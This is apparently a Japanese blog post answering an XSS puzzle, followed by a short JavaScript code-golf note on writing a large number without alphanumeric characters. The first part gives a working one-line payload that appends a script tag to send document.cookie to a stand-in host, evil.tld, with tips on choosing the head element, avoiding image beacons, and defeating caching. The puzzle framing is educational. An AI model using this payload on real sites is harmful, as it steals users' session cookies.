詰めXSS回答第一回(分割方式)
先日出題した詰めXSSの回答編の第一回です。文字列禁止一歩手前でJavaScriptを動かしてみようというネタです。記号としては「=」だけでcookie取得ぐらいならしてみようかと。時間がないので少しずつという罠。
今回は私が考えておいたひとつの回答例を説明するためのパーツを一部分。cookieを取得する部分の考え方です。これを後で加工して使う予定です。
document.documentElement.firstChild.appendChild(document.createElement('script')).src='\/\/evil.tld\/dummy.js?q='+encodeURIComponent(document.cookie)
コードに多少手打ち間違いがあったらすみません。意図するところを汲んでください。- なんとなく1行にしたかった(w
- (new Image).src=ほげ、は使いづらいです。第三者サイトの画像をオフにしているかもだからです。
- 出題において。よくみるとinjection先のscript要素がbody要素下にないかもです。injection内容によってはHTMLパース時点でひっかかります。document.bodyは使えません。
- head要素でなんとかするのですがgetElementByTagNameでhead要素をひっかけるのでもいいかもです。
- JSONPで使われる手法を真似しています。でも、JSファイルを取得したいわけではありません。逆に、evil.tldのログにcookieの足跡を残したいのです。JSONPを享受しているブラウザなら通用するだろうと。
- 一般論ですがdumy.jsには実際に空のJSファイルがあったほうがOPERAで落ちなくてすむようです。
- 上記をテストしたい時にはGET対象のURLに1*(new DATE())という文字列をくっつけたほうがキャッシュ問題をクリアできてわかりやすいです。
- http:なスキームが書かれていませんね。書いてもいいです。
non alnum で18014398509481984
18014398509481984という自然数を英数字抜きでJavaScriptのコードで記述出きるかどうか考えています。今のところもっとも少ない文字数で手元にあるのは23文字です。
数字を使ってよければ、こんなのが。
((-1)<<(-5))*((-1)<<(-5))
さらに表現から数字を駆逐するです、はい。GOLFですから、23文字以下を目指しています。